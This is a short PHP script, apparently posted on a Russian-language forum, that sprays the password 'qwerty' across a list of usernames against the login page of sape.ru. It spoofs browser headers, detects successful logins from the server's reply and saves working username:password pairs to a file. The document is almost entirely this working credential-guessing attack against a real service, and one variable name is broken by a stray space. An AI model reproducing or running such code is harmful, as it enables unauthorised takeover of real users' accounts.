function login($login,$pass){ $data = "act=login&login=$login&passwd=$pass"; $len = strlen($data); $re = "POST http://sape.ru/login.php HTTP/1.0\nHost: sape.ru\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\nKeep-Alive: 300\n". "Connection: keep-alive\nReferer: http://sape.ru/\n". "Content-Type: application/x-www-form-urlencoded\n". "Content-Length: $len\n\n$data"; $fp = fsockopen("sape.ru", 80, $errno, $errstr, 30); fwrite($fp, $re); $he=""; while (!feof($fp)) { $he.=fgets($fp, 10240); } fclose($fp); if ( preg_match ("/Ошибка/i" , "$he")) { $debug=0;$re=false;} elseif ( preg_match ("/sites.php/i" , "$he")) {$debug=1; $re=true;} return $re; } $login=file("login.txt"); $pass="qwerty"; for($i=0;$i<count($login);$i++){ $login[$i]=trim($login[$i]); if(login($login[$i],$pass)){$fp=fopen('good.txt','ab');fwrite($fp,$lo gin[$i].':'.$pass."\r");fclose($fp);} }
Вот что показывает
|